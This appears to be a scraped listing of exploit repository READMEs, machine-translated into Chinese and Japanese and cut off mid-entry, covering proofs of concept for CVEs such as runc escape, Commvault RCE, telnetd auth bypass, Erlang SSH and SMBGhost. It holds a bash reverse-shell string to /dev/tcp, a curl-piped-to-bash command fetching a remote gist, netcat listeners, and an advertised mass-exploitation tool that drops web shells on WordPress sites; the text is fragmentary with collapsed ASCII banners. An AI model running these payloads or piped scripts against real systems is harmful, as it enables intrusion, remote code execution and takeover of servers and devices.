CVE-2026-59310

CVE-2026-59310 捐赠 通过 PayPal 或扫描下方二维码来支持本项目的维护。 ⚡ 简单用法 仅在安全且经授权的环境中使用本项目，例如： 本地虚拟机 Docker 容器 隔离的实验室环境 经授权的渗透测试环境 示例设置与用法： Follow every dir project 注意： 从其他项目克隆时，你必须运行 curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y 以清除嵌套目录中的 .git...

cve-2019-5736-poc

追加すべきヘッダー stage2.c bash include bash include 攻撃者PCのIPに修正 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Dockerイメージおよびコンテナの作成 $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 Commvault の事前認証リモートコード実行の概念実証 技術的詳細については、当社のブログ記事をご覧ください。 動作中の検出 python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

TempRoot-Huawei

TempRoot-Huawei 通过 CVE-2019-2215 对华为加固内核实现临时 root 此代码为 P20 Pro CLT-AL00 编写，内核偏移取自固件，其构建指纹为：'HUAWEI/CLT-AL00/HWCLT:8.1.0/HUAWEICLT-AL00/176C00:user/release-keys' 背景 与三星的 KNOX 类似，华为加入了大量机制来防止黑客利用漏洞，并提升“安全性”。 启用了 DEBUGSPINLOCK，为自旋锁spinlock增加了额外检查 task struct 中的内核栈指针已使用随机偏移 ktioffset 进行混淆（类似 KASLR）...

CVE-2026-24061-lab

CVE-2026-24061 — 复现实验室 ⚠️ 仅限教育用途。隔离实验环境。 法语见下方 摘要 GNU InetUtils telnetd ≤ 2.7 中存在严重身份验证绕过漏洞（CVSS 9.8）。 通过 Telnet NEWENVIRON 选项将 -f root 作为 USER 变量注入， 未认证的攻击者无需任何密码即可获得 root shell。 根本原因 在 Telnet 协商期间从客户端接收到的 USER 变量被直接传递给 /usr/bin/login 而未经过滤： /usr/bin/login -p -f root -f 标志指示 login 跳过指定用户的密码验证。...

CVE-2025-55182-GodzillaMemoryShell

CVE-2025-55182-GodzillaMemoryShell help usage: exploit.py -h --proxy PROXY --utf16 --unicode --key KEY --target TARGET CVE-2025-55182 Godzilla Memoryshell options: -h, --help show this help message and exit --proxy PROXY HTTP proxy address, e.g. http://127.0.0.1:8888 --utf16 Enable UTF-16 encodin...

cve-2025-32433

ビルド » git clone https://github.com/0xPThree/cve-2025-32433.git && cd cve-2025-32433 » docker build -t erlang-ssh . » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh POC kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port...

poc-rebar3

Rebar3 Shell 注入（CVE-2020-13802） 概念验证 git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean 致谢 Alexey Pronin @vulnbe 参考 Rebar3 漏洞分析 漏洞修复 PR CVE-2020-13802 CWE-78：OS 命令中特殊元素的不当中和（'OS 命令注入'）...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 リモートシェル Goベースのエクスプロイトで、CVE-2025-32433を利用してリモートのbashシェルを取得します。 ProDefenseのCVE-2025-32433用PoCから導出されたエクスプロイトの理解に大きく影響を受けています。 エクスプロイトの実行 make クロスコンパイル用Makefileにより、exploit.exe はWindowsマシンでも利用可能です。 次に、エクスプロイトバイナリを次の2つの方法のいずれかで実行します。 コマンド ./exploit "" 注：コマンドの出力は返されません。 リバースシェル nc -lnvp...

CVE-2024-25832-PoC

CVE-2024-25830 および CVE-2024-25832 - DataCube3 の不適切なアクセス制御と無制限のファイルアップロード 概要 このリポジトリは、DataCube3 デバイスを標的とした2段階のエクスプロイトチェーンの概念実証 PoC を提供します。CVE-2024-25830（不適切なアクセス制御）を使用して root パスワードを抽出し、CVE-2024-25832（無制限のファイルアップロード）を使用してリバースシェルスクリプトを展開します。この PoC は、ブログ記事「DataCube3 脆弱性レポート」の詳細な脆弱性分析を補完するものです。...

CVE-2025-32463_chwoot

CVE-2025-32463 – sudo chroot（"chwoot"）PoC 本仓库提供了一个最小化、可复现的环境，用于演示 sudo 的 chroot 功能中存在的 CVE‑2025‑32463 权限提升漏洞。 该漏洞由 Stratascale 的 Rich Mirch（X 上的 @0xm1rch）报告。 原始文章：漏洞公告：Sudo chroot 权限提升 NVD：CVE-2025-32463（CVSS 9.3） 受影响版本 在大多数 Linux 发行版中，从 sudo 1.9.14 到 1.9.17 （所有 p 修订版）的易受攻击构建版本都会受到影响。 安全公告页面...

CVE-2026-14894

CVE-2026-14894 任意文件上传 Nxploited 批量利用工具 — Super Forms 与 Elementor Pro 🩸 加入我们的 Telegram，获取最新独家 0-day 与武器化 CVE 📡 频道：https://t.me/KNxploited 👤 Nxploited | @Kxploit 一款高速、多线程的批量利用工具，串联 WordPress 插件中的两个未认证任意文件上传 漏洞——每次成功命中都会投递一个经过验证的 Web Shell。 🎯 漏洞 | CVE-2026-14894| CVE-2026-32475 ---|---|--- 插件| Super...

cve-2015-1538-1

请不要与任何人分享此代码。该代码是在FrienNDA下提供给你的。违反此规定的人将不再被视为朋友。 随附的是一个Python脚本，用于生成利用“stsc”漏洞（即CVE-2015-1538 1）的MP4文件。这是我在Stagefright库中报告的最关键的漏洞之一。该漏洞的预期结果是获得媒体用户的反弹shell。正如我在Black Hat和DEF CON演讲中详细介绍的那样，该用户还具有对inet、audio、camera和mediadrm等多个组的访问权限。这些组允许攻击者远程拍照或监听麦克风，而无需利用其他漏洞。...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 自動エクスプロイトと検出 このPythonプログラムは、RCE SMBGhost脆弱性のラッパーです。動作するエクスプロイトのクレジットはすべてchompie1337にあります。スキャナーのクレジットはioncodesにあります。 これらの機能を1つのプログラムに自動化しました。リバースシェルを作成する際には、Windowsターゲットのアーキテクチャを考慮する必要があります。 このエクスプロイトは安定していません 。自己責任で使用してください。最初はうまくいかないことがあるため、2回目のリトライを追加しました。...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell 概念验证 使用方式： sudo python3 hehe.py -t -c 示例： ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \ \ | | | | | | | | | |...

CVE-2011-2523

CVE-2011-2523 — vsFTPd 2.3.4 バックドアエクスプロイト このリポジトリには、悪意のあるバックドアが仕込まれた バージョンの vsFTPd 2.3.4 を標的とした Python ベースのエクスプロイトが含まれています。従来の脆弱性とは異なり、このバックドアは2011年にvsFTPdサイトでホストされていた公式バイナリへの不正な改変によって導入されました。 🧠 脆弱性の概要 侵害されたバイナリは、特別に細工されたユーザー名を受け取った後、ポート 6200 で待機します。 バックドアをトリガーすると、root権限 でリモートシェルが起動します。...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder OS 命令注入 Apache Ranger user-sync（unixusersync）模块中 OS 命令注入漏洞的可运行概念验证复现程序。 在枚举每个已同步用户所属的组时，UnixUserGroupBuilder 会通过 shell 执行 id 命令，并将用户名 拼接到命令行中： // ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java Ranger 65534 ...

CVE-2017-12615

CVE-2017-12615 Tomcat リモートコード実行脆弱性 Exploit java -jar CVE-2017-12615-Exploit.jar Url ShellName ShellValue www.SecFree.com · · · 一┳═┻︻▄ Tomcat RCE CVE-2017-12615 ▄︻┻═┳一 · · · 影響: Apache Tomcat 7.0.0 - 7.0.79 0day 情報: https://www.secfree.com/article-399.html ヘルプ: Url ShellName ShellValue 作成者:...

Vmware-ESXI

CVE-2024-37085 ドメイン参加済みESXiハイパーバイザーに対する認証なしシェルアップロードから完全な管理者権限の取得。 ESXIVORTEXをダウンロード 詳細: 認証バイパスにより、vpxuser コンテキストでのシェルアップロードが可能になり、ドメイン参加済みESXiハイパーバイザー上で完全な管理者権限を取得します。 この脆弱性を悪用するには、ESXiシェルが有効になっている必要があります。 エクスプロイト: この脆弱性の悪用には、完全な管理者制御を達成するためにいくつかの手順を実行する必要があります。 これらすべての手順は、1つのPythonスクリプトで処理されます。...

CVE-2025-69212-Exploit

CVE-2025-69212 - OpenSTAManager P7M 命令注入漏洞利用工具 针对 CVE-2025-69212 的完全自动化漏洞利用脚本，这是 OpenSTAManager 中的一个命令注入漏洞。该脚本使用管理员凭据进行身份验证，通过 ZIP 压缩包中精心构造的 P7M 文件部署恶意 PHP Webshell，并提供命令执行或反弹 Shell 功能。 功能特性 自动化身份验证。 恶意 ZIP 生成与上传（invoice.p7m 注入）。 Base64 命令封装，避免特殊字符问题。 反弹 Shell 与单命令执行参数。 使用方法 python3 exploit.py -u...